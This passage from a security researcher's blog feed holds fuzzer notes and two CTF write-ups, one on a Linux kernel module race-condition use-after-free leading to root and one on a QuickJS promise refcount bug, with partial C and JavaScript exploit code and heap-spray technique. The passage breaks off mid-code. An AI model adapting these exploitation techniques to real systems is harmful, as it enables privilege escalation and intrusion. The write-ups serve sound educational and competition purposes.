<p>The <code class="language-plaintext highlighter-rouge">for</code> loop iterate each basic block name with <code class="language-plaintext highlighter-rouge">bb_distance</code> (we will call them target basic blocks in following). Note that <code class="language-plaintext highlighter-rouge">bb_d_entry.first</code> that is not in current processing function is simply skipped, so only target basic blocks in current function is processed. Also, if all vertexes of a target basic block name in current function is not reachable by \(n\), it will also be discarded.</p> <p>For a target basic block name \(T\), its distance \(D_{n\rightarrow T}\) can be calculated as follows:</p> \[\large D_{n \rightarrow T} = \frac{\sum_{t \in V_n(T)} \frac{1}{1 + 10 D_{bb}(t) + S_{n \rightarrow t}}}{|V_n(T)|}\] <p>\(V_n(T)\) means all basic block vertexes associated with basic block name \(T\) that is reachable from starting node \(n\); \(D_{bb}(t)\) means <code class="language-plaintext highlighter-rouge">bb_distance</code> of basic block vertex \(t\); \(S_{n \rightarrow t}\) means the shortest distance from vertex \(n\) to vertex \(t\) in the control flow graph.</p> <p>The final target distance of basic block \(n\) is calculated as follows:</p> \[\large min_n \frac{|S_T|}{\sum_{T\in S_T} D_{n \rightarrow T}}\] <p>\(min_n\) means we want the minimum distance among all vertexes returned from <code class="language-plaintext highlighter-rouge">find_node</code> (e.i. all vertexes with given basic block name); \(S_T\) is the set of all names of target basic blocks reachable by \(n\) in current processing function.</p> <h2 id="0x03-others">0x03 Others</h2> <p>As we can see, the actual implementation is a bit different from the one mentioned in paper, and this is the reason why I decides to investigate its source code.</p> Sat, 06 Nov 2021 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2021/11/06/AFLGO-Fuzzer-Notes.html https://mem2019.github.io/jekyll/update/2021/11/06/AFLGO-Fuzzer-Notes.html jekyll update Hack.lu 2021 Stonks Socket <p>Last weekend <a href="https://r3kapig.com/">we</a> played Hack.lu CTF and got 5th place. I am quite busy recently so I only solved one challenge: Stonks Socket, and I think it is quite interesting and worthy to do a writeup.</p> <h2 id="0x00-overview">0x00 Overview</h2> <p>In this challenge we need to exploit Linux kernel. In the kernel module, <code class="language-plaintext highlighter-rouge">tcp_prot.ioctl</code> of TCP socket is written to self-defined function <code class="language-plaintext highlighter-rouge">stonks_ioctl</code>, and <code class="language-plaintext highlighter-rouge">sk_prot-&gt;recvmsg</code> of TCP socket is written to self-defined function <code class="language-plaintext highlighter-rouge">stonks_rocket</code> inside one of the handlers in <code class="language-plaintext highlighter-rouge">stonks_ioctl</code>. The vulnerability is a use-after-free caused by race condition: <code class="language-plaintext highlighter-rouge">sk_user_data</code> field of <code class="language-plaintext highlighter-rouge">struct sock</code> is fetched before blocking in <code class="language-plaintext highlighter-rouge">stonks_rocket</code> and can be freed while blocking, and one of its function pointer field will be called after blocking. Therefore, we perform heap spray to control its function pointer field so to control <code class="language-plaintext highlighter-rouge">rip</code> in kernel mode. Since SMEP is not enabled, we can execute shellcode in user-space memory to call <code class="language-plaintext highlighter-rouge">commit_cred(prepare_kernel_cred(0))</code> and get root privilege.</p> <h2 id="0x01-vulnerabilities">0x01 Vulnerabilities</h2> <p>There are actually 3 vulnerabilities in this challenge, but I found other 2 not useful for exploitation:</p> <ol> <li>The first vulnerability is the one I mentioned in overview section. Inside <code class="language-plaintext highlighter-rouge">stonks_rocket</code>, <code class="language-plaintext highlighter-rouge">struct StonksSocket *s_sk = sk-&gt;sk_user_data;</code> is executed to fetch user data of <code class="language-plaintext highlighter-rouge">sk</code>in first few lines, and the function can be blocked by <code class="language-plaintext highlighter-rouge">tcp_recvmsg</code>. However, while blocking, we can actually free <code class="language-plaintext highlighter-rouge">sk-&gt;sk_user_data</code> through <code class="language-plaintext highlighter-rouge">OPTION_PUT</code> command in <code class="language-plaintext highlighter-rouge">stonks_ioctl</code> using another thread. Therefore, after resuming from <code class="language-plaintext highlighter-rouge">tcp_recvmsg</code>, <code class="language-plaintext highlighter-rouge">s_sk</code> is already a freed dangling pointer but <code class="language-plaintext highlighter-rouge">s_sk-&gt;hash_function</code> will be called. Thus, this is an UAF bug.</li> <li>The second vulnerability is an out-of-bound read in command <code class="language-plaintext highlighter-rouge">OPTION_DEBUG</code>, which allows us to leak arbitrary kernel data. However, it seems that we don’t need such data leakage.</li> <li>The third vulnerability is a stack overflow in <code class="language-plaintext highlighter-rouge">secure_hash</code>. Since <code class="language-plaintext highlighter-rouge">h-&gt;length</code> is controllable and not limited, <code class="language-plaintext highlighter-rouge">(&amp;h-&gt;word1)[i] = h-&gt;key;</code> in loop body would cause out-of-bound write. However, since we can only write one 64-bit value and cannot skip over the stack canary, this vulnerability is not quite useful either.</li> </ol> <h2 id="0x02-exploitation">0x02 Exploitation</h2> <h3 id="trigger-kernel-module-functions">Trigger Kernel Module Functions</h3> <p>To trigger <code class="language-plaintext highlighter-rouge">stonks_ioctl</code>, we just need to call <code class="language-plaintext highlighter-rouge">ioctl</code> using <code class="language-plaintext highlighter-rouge">connfd</code> returned by <code class="language-plaintext highlighter-rouge">accept</code> function; after calling <code class="language-plaintext highlighter-rouge">ioctl(connfd, OPTION_CALL, &amp;a)</code> we can trigger <code class="language-plaintext highlighter-rouge">stonks_rocket</code> via <code class="language-plaintext highlighter-rouge">recv</code> function using <code class="language-plaintext highlighter-rouge">connfd</code>.</p> <h3 id="trigger-uaf">Trigger UAF</h3> <p>As briefly mentioned above, we need to firstly call <code class="language-plaintext highlighter-rouge">OPTION_CALL</code> command of <code class="language-plaintext highlighter-rouge">ioctl</code> on <code class="language-plaintext highlighter-rouge">connfd</code>.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">arg_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">{</span><span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x13371337</span><span class="p">,</span> <span class="mi">0</span><span class="p">};</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ioctl</span><span class="p">(</span><span class="n">connfd</span><span class="p">,</span> <span class="n">OPTION_CALL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">a</span><span class="p">));</span> </code></pre></div></div> <p>Then we create a thread, immediately followed by a <code class="language-plaintext highlighter-rouge">recv</code> function called on <code class="language-plaintext highlighter-rouge">connfd</code> that fetches <code class="language-plaintext highlighter-rouge">sk-&gt;sk_user_data</code> and blocks the main thread.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="kr">thread</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">client_write</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">args</span><span class="p">);</span> <span class="c1">// ...</span> <span class="n">recv</span><span class="p">(</span><span class="n">connfd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span> </code></pre></div></div> <p>Inside thread function, <code class="language-plaintext highlighter-rouge">sleep(1)</code> is called to ensure <code class="language-plaintext highlighter-rouge">recv</code> function in main thread is blocked first. Then <code class="language-plaintext highlighter-rouge">ioctl(connfd, OPTION_PUT, NULL)</code> is called to free <code class="language-plaintext highlighter-rouge">sk-&gt;sk_user_data</code>, and some data is sent to server via client file descriptor to resume <code class="language-plaintext highlighter-rouge">recv</code> function blocked in main thread.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">write</span><span class="p">(</span><span class="n">args</span><span class="o">-&gt;</span><span class="n">clientfd</span><span class="p">,</span> <span class="s">"20192019"</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span> </code></pre></div></div> <h3 id="heap-spray">Heap Spray</h3> <p>This is actually the part that got me stuck for longest time. I firstly considered to use <a href="https://etenal.me/archives/1336">universal heap spraying</a>, but <code class="language-plaintext highlighter-rouge">userfaultfd</code> is not available due to kernel configuration. Then we tried to find a 32-byte kernel object allocated on heap that can allow user to control the last 8 bytes (e.i. function pointer field), and we indeed found <a href="https://elixir.bootlin.com/linux/v5.11.22/source/include/uapi/linux/xfrm.h#L92">this</a>. However, it seems that corresponding protocol is not supported in this kernel build.</p> <p>Finally, I still decided to use <code class="language-plaintext highlighter-rouge">kmalloc</code> called in function <code class="language-plaintext highlighter-rouge">secure_hash</code> shown below.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//load data</span> <span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">size</span> <span class="o">=</span> <span class="n">h</span><span class="o">-&gt;</span><span class="n">length</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">u64</span><span class="p">);</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span> <span class="n">i</span> <span class="o">=</span> <span class="n">copy_from_iter</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">msg</span><span class="p">);</span> <span class="c1">// copy data sent from client to buf</span> <span class="k">for</span> <span class="p">(</span><span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">i</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">hash</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">^=</span> <span class="n">buf</span><span class="p">[</span><span class="n">j</span><span class="p">];</span> <span class="p">}</span> <span class="n">kfree</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>When <code class="language-plaintext highlighter-rouge">h-&gt;length</code> is 4, 32-byte chunk will be allocated and filled with user-controlled data, which is exactly pointed by <code class="language-plaintext highlighter-rouge">sk-&gt;sk_user_data</code>; and even if the chunk is freed, last 8 bytes will still remain to be our own data. Although this seems to be great, when <code class="language-plaintext highlighter-rouge">while</code> loop breaks, the buffer is filled with all zeros. After some debugging, I realized that <code class="language-plaintext highlighter-rouge">kmalloc</code> here would clear the memory chunk allocated to zeros. The loop exit condition is <code class="language-plaintext highlighter-rouge">i == 0</code>, so this means <code class="language-plaintext highlighter-rouge">copy_from_iter</code> should return <code class="language-plaintext highlighter-rouge">0</code> for the last time loop body is executed. <code class="language-plaintext highlighter-rouge">copy_from_iter</code> always returns the number of bytes that is copied to the destination buffer. Combining these two, this means in the last run of the <code class="language-plaintext highlighter-rouge">while</code> loop, the buffer will be filled with zeros and no input is read into the buffer, so <code class="language-plaintext highlighter-rouge">s_sk-&gt;hash_function</code> is also <code class="language-plaintext highlighter-rouge">NULL</code>.</p> <p>Therefore, we need to let main thread call <code class="language-plaintext highlighter-rouge">sk-&gt;sk_user_data-&gt;hash_function</code> <em>at the same time when</em> <code class="language-plaintext highlighter-rouge">secure_hash</code> is still executing that <code class="language-plaintext highlighter-rouge">while</code> loop. This can be done by creating a new thread to run <code class="language-plaintext highlighter-rouge">secure_hash</code> function. Initially I was spending a lot of time in trying to let <code class="language-plaintext highlighter-rouge">copy_from_iter</code> block by using the stack overflow (e.i. third bug mentioned above) to tamper <code class="language-plaintext highlighter-rouge">struct iov_iter</code>. However, this does not work because if we need to trigger the stack overflow, <code class="language-plaintext highlighter-rouge">h-&gt;length</code> is no longer <code class="language-plaintext highlighter-rouge">4</code> so that size allocated is not 32 bytes, which means we cannot allocate to chunk pointed by <code class="language-plaintext highlighter-rouge">sk-&gt;sk_user_data</code>.</p> <p>The final approach is to let the <code class="language-plaintext highlighter-rouge">while</code> loop run many times by sending a large chunk of data, and hope when executing the <code class="language-plaintext highlighter-rouge">while</code> loop, the function pointer field is called. It turns out the probability of success is not low if parameter is tuned properly. The important thread functions are shown below.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span><span class="o">*</span> <span class="nf">spray_32</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">fds_</span><span class="p">)</span> <span class="p">{</span> <span class="kt">intptr_t</span> <span class="n">fds</span> <span class="o">=</span> <span class="p">(</span><span class="kt">intptr_t</span><span class="p">)</span><span class="n">fds_</span><span class="p">;</span> <span class="kt">int</span> <span class="n">connfd2</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">fds</span><span class="p">;</span> <span class="kt">int</span> <span class="n">connfd</span> <span class="o">=</span> <span class="n">fds</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">printf</span><span class="p">(</span><span class="s">"free %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ioctl</span><span class="p">(</span><span class="n">connfd</span><span class="p">,</span> <span class="n">OPTION_PUT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">));</span> <span class="c1">// we free chunk here after thread creation,</span> <span class="c1">// because thread creation will consume 32-byte chunk</span> <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// `recv` large data to let this thread enter the while loop at secure_hash</span> <span class="n">recv</span><span class="p">(</span><span class="n">connfd2</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">a</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span> <span class="kt">void</span> <span class="o">*</span> <span class="nf">client_write</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span> <span class="n">args_</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">th_arg</span><span class="o">*</span> <span class="n">args</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">th_arg</span><span class="o">*</span><span class="p">)</span><span class="n">args_</span><span class="p">;</span> <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="n">pthread_t</span> <span class="n">thread2</span><span class="p">;</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">thread2</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">spray_32</span><span class="p">,</span> \ <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="kt">intptr_t</span><span class="p">)(</span><span class="n">args</span><span class="o">-&gt;</span><span class="n">connfd2</span> <span class="o">+</span> <span class="p">((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">args</span><span class="o">-&gt;</span><span class="n">connfd</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="p">)));</span> <span class="c1">// stop this thread for a while before resuming main thread,</span> <span class="c1">// otherwise main thread will call function pointer field too soon,</span> <span class="c1">// before while loop at secure_hash is entered in another thread,</span> <span class="c1">// loop bound is tuned to be 50 so that success rate is quite high</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">50</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">sched_yield</span><span class="p">();</span> <span class="n">usleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span> <span class="n">write</span><span class="p">(</span><span class="n">args</span><span class="o">-&gt;</span><span class="n">clientfd</span><span class="p">,</span> <span class="s">"20192019"</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span> <span class="n">puts</span><span class="p">(</span><span class="s">"client_write exits"</span><span class="p">);</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>The large chunk of data is sent before via <code class="language-plaintext highlighter-rouge">send(*clientfd, a, sizeof(a), 0)</code>, where <code class="language-plaintext highlighter-rouge">a</code> is initialized to be pointers to our <code class="language-plaintext highlighter-rouge">get_root</code> function, which obtains kernel address stored on stack and calls <code class="language-plaintext highlighter-rouge">commit_cred(prepare_kernel_cred(0))</code>.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uintptr_t</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">get_root</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>One interesting point to note is that <code class="language-plaintext highlighter-rouge">rip</code> hijacked is sometimes shift of <code class="language-plaintext highlighter-rouge">&amp;get_root</code> (e.g. <code class="language-plaintext highlighter-rouge">&amp;get_root &lt;&lt; 8</code>). Possible reason is that <code class="language-plaintext highlighter-rouge">recv</code> does not necessarily stops at alignment of <code class="language-plaintext highlighter-rouge">8</code>, so that future alignment might be broken.</p> <p>The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/stonks-socket.c">here</a>.</p> Sun, 31 Oct 2021 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2021/10/31/HackLu2021-Stonks-Socket.html https://mem2019.github.io/jekyll/update/2021/10/31/HackLu2021-Stonks-Socket.html jekyll update TCTF 2021 Promise <p>Last weekend <a href="https://r3kapig.com/">we</a> have participated <a href="https://ctftime.org/event/1357">TCTF 2021 Final</a> and got 2nd place! Congratulation! I solved 3 challenges: <code class="language-plaintext highlighter-rouge">Secure JIT 2</code>, <code class="language-plaintext highlighter-rouge">Promise</code> and <code class="language-plaintext highlighter-rouge">krop</code>. Among these, I think <code class="language-plaintext highlighter-rouge">Promise</code> is quite worthy to do a full writeup.</p> <h2 id="0x00-overview">0x00 Overview</h2> <p>In this challenge, we need to exploit <code class="language-plaintext highlighter-rouge">quickjs</code> engine, which is a lightweight JavaScript engine, and this is actually my first time to exploit this engine. The vulnerability we need to exploit is that when variable is copied to promise result, the reference counter is not incremented, so that use-after-free problem can be triggered. We trigger such UAF using <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> instance so that we can manipulate baking storage of <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> after it is freed. We utilize this to leak <code class="language-plaintext highlighter-rouge">libc</code> address and to rewrite backing store pointer of another <code class="language-plaintext highlighter-rouge">TypedArray</code> to achieve arbitrary write that rewrites <code class="language-plaintext highlighter-rouge">__free_hook</code> to <code class="language-plaintext highlighter-rouge">system</code> to get the shell.</p> <h2 id="0x01-prerequisite">0x01 Prerequisite</h2> <p>Before entering into the challenge, I may need to introduce some basic knowledges about <code class="language-plaintext highlighter-rouge">quickjs</code> that are required to solve this challenge.</p> <h3 id="variable-representation">Variable Representation</h3> <p>In JavaScript we have many types of variables, such as integer, object, array and built-in object(e.i. <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>). The JavaScript engine needs to represent these variables in some way. In <code class="language-plaintext highlighter-rouge">quickjs</code>, every variable is represented as a <code class="language-plaintext highlighter-rouge">JSValue</code>:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// quickjs.h</span> <span class="k">typedef</span> <span class="k">union</span> <span class="n">JSValueUnion</span> <span class="p">{</span> <span class="kt">int32_t</span> <span class="n">int32</span><span class="p">;</span> <span class="kt">double</span> <span class="n">float64</span><span class="p">;</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span> <span class="p">}</span> <span class="n">JSValueUnion</span><span class="p">;</span> <span class="k">typedef</span> <span class="k">struct</span> <span class="n">JSValue</span> <span class="p">{</span> <span class="n">JSValueUnion</span> <span class="n">u</span><span class="p">;</span> <span class="c1">// union that stores *content* of this variable</span> <span class="kt">int64_t</span> <span class="n">tag</span><span class="p">;</span> <span class="c1">// tag is used to tell how to interpret `u`, </span> <span class="c1">// which stores information about *type* of this variable</span> <span class="p">}</span> <span class="n">JSValue</span><span class="p">;</span> <span class="cp">#define JSValueConst JSValue </span></code></pre></div></div> <p>The tag can be one of the following values, some parts of the <code class="language-plaintext highlighter-rouge">enum</code> are omitted for simplicity:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// quickjs.h</span> <span class="k">enum</span> <span class="p">{</span> <span class="cm">/* all tags with a reference count are negative */</span> <span class="c1">// omited for simplicity....</span> <span class="n">JS_TAG_OBJECT</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">JS_TAG_INT</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">JS_TAG_BOOL</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">JS_TAG_NULL</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">JS_TAG_UNDEFINED</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="c1">// omited for simplicity....</span> <span class="cm">/* any larger tag is FLOAT64 if JS_NAN_BOXING */</span> <span class="p">};</span> </code></pre></div></div> <p>What we need to know is that the sign here is used to tell whether this variable has a reference count: all tags with a reference count are negative. In other word, negative tag means that this variable is managed by heap and positive tag means that it is not managed by heap.</p> <p>When tag is <code class="language-plaintext highlighter-rouge">JS_TAG_OBJECT</code>, <code class="language-plaintext highlighter-rouge">ptr</code> field of <code class="language-plaintext highlighter-rouge">JSValueUnion</code> is used, and this <code class="language-plaintext highlighter-rouge">ptr</code> points to a <code class="language-plaintext highlighter-rouge">JSObject</code> structure, which is defined in <code class="language-plaintext highlighter-rouge">quickjs.c</code>. All objects in <code class="language-plaintext highlighter-rouge">quickjs</code>, including built-in objects like <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>, are represented in this way. The first 32 bits of <code class="language-plaintext highlighter-rouge">JSObject</code> are always reference count.</p> <h3 id="debug">Debug</h3> <p>To build the debug version of binary, we can modify <code class="language-plaintext highlighter-rouge">BUILDTYPE?=Release</code> to <code class="language-plaintext highlighter-rouge">BUILDTYPE?=Debug</code> in <code class="language-plaintext highlighter-rouge">Makefile</code> and build according to <a href="https://github.com/saghul/txiki.js#building">this</a>.</p> <p>To look at how specific variable is stored in memory, we have a simple approach: set a breakpoint at function <code class="language-plaintext highlighter-rouge">js_math_min_max</code> or <code class="language-plaintext highlighter-rouge">quickjs.c:41563</code>, and call <code class="language-plaintext highlighter-rouge">Math.min(v)</code> to trigger the breakpoint, because <code class="language-plaintext highlighter-rouge">js_math_min_max</code> is the handler for <code class="language-plaintext highlighter-rouge">Math.min</code>. Then by inspecting memory layout of <code class="language-plaintext highlighter-rouge">JSValueConst *argv</code> or register <code class="language-plaintext highlighter-rouge">r8</code>, we can inspect memory representation of variable <code class="language-plaintext highlighter-rouge">v</code>.</p> <h3 id="garbage-collection">Garbage Collection</h3> <p>As we see, the garbage collection of <code class="language-plaintext highlighter-rouge">quickjs</code> is managed by reference counting, and the object instance will be freed if the reference counting becomes zero. Here is an example illustrating this:</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x1337</span><span class="p">];</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">o</span><span class="p">);</span> <span class="c1">// `x/wx argv-&gt;u.ptr`: ref_count == 2</span> <span class="c1">// and we can also set breakpoint:</span> <span class="c1">// `tb free if $rdi==[address shown above]`</span> <span class="c1">// to see when this chunk will be freed</span> <span class="kd">let</span> <span class="nx">v</span> <span class="o">=</span> <span class="nx">o</span><span class="p">;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">o</span><span class="p">);</span> <span class="c1">// ref_count == 3</span> <span class="nx">o</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">v</span><span class="p">);</span> <span class="c1">// ref_count == 2</span> <span class="nx">v</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span> <span class="c1">// breakpoint on free is triggered here</span> <span class="c1">// before "Finish" is printed</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Finish</span><span class="dl">"</span><span class="p">);</span> </code></pre></div></div> <p>One thing that I don’t quite understand is that when we look at <code class="language-plaintext highlighter-rouge">ref_count</code> using <code class="language-plaintext highlighter-rouge">Math.min</code> approach, it is always one more than the current number of JavaScript variables that point to the object. I would guess there is also an internal reference that contributes to such one more reference count. This problem actually got me stuck for quite long time. Nonetheless, the object will still be freed when number of variables referencing to it decreases to zero, so we can just deem the actual reference count as <code class="language-plaintext highlighter-rouge">ref_count - 1</code>.</p> <h2 id="0x02-vulnerability">0x02 Vulnerability</h2> <p>The <code class="language-plaintext highlighter-rouge">diff</code> is applied to commit <code class="language-plaintext highlighter-rouge">0a533445f256fb3a628371e24705d3a2532f60f1</code>.</p> <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/deps/quickjs/src/quickjs.c b/deps/quickjs/src/quickjs.c index a39ff8f..c0a42b2 100644 </span><span class="gd">--- a/deps/quickjs/src/quickjs.c </span><span class="gi">+++ b/deps/quickjs/src/quickjs.c </span><span class="p">@@ -46175,7 +46175,7 @@</span> static void fulfill_or_reject_promise(JSContext *ctx, JSValueConst promise, if (!s || s-&gt;promise_state != JS_PROMISE_PENDING) return; /* should never happen */ <span class="gd">- set_value(ctx, &amp;s-&gt;promise_result, JS_DupValue(ctx, value)); </span><span class="gi">+ set_value(ctx, &amp;s-&gt;promise_result, value); </span> s-&gt;promise_state = JS_PROMISE_FULFILLED + is_reject; #ifdef DUMP_PROMISE printf("fulfill_or_reject_promise: is_reject=%d\n", is_reject); </code></pre></div></div> <p>As we can see, <code class="language-plaintext highlighter-rouge">JS_DupValue</code> is just to increment <code class="language-plaintext highlighter-rouge">ref_count</code> when the variable has reference count (e.i. <code class="language-plaintext highlighter-rouge">tag</code> is negative):</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="n">JSValue</span> <span class="nf">JS_DupValue</span><span class="p">(</span><span class="n">JSContext</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span> <span class="n">JSValueConst</span> <span class="n">v</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">JS_VALUE_HAS_REF_COUNT</span><span class="p">(</span><span class="n">v</span><span class="p">))</span> <span class="p">{</span> <span class="n">JSRefCountHeader</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="n">JSRefCountHeader</span> <span class="o">*</span><span class="p">)</span><span class="n">JS_VALUE_GET_PTR</span><span class="p">(</span><span class="n">v</span><span class="p">);</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">ref_count</span><span class="o">++</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="p">(</span><span class="n">JSValue</span><span class="p">)</span><span class="n">v</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Therefore, <code class="language-plaintext highlighter-rouge">ref_count</code> that should have been incremented is not incremented when the value is copied to promise result, so the object will be freed when there is still one variable referencing to it, leading to UAF vulnerability.</p> <h3 id="javascript-promise">JavaScript Promise</h3> <p>For more information about <code class="language-plaintext highlighter-rouge">Promise</code> in JavaScript, you can read <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">this</a>. One thing to note is that handler of <code class="language-plaintext highlighter-rouge">Promise</code> is executed <em>after</em> main code execution finishes, but they can still share all global variables.</p> <h2 id="0x03-exploitation">0x03 Exploitation</h2> <h3 id="triggering-uaf">Triggering UAF</h3> <p>It is quite easy to trigger the vulnerability: we just need to pass an object to promise result.</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">f</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Resolve2</span><span class="dl">"</span><span class="p">);</span> <span class="p">}</span> <span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x500</span><span class="p">);</span> <span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span> <span class="kd">let</span> <span class="nx">p</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">reject</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Promise Init</span><span class="dl">"</span><span class="p">);</span> <span class="nx">resolve</span><span class="p">(</span><span class="nx">arr</span><span class="p">);</span> <span class="c1">// pass `arr` as promise result</span> <span class="p">});</span> <span class="nx">p</span><span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">f</span><span class="p">);</span> <span class="c1">// set callback handler</span> <span 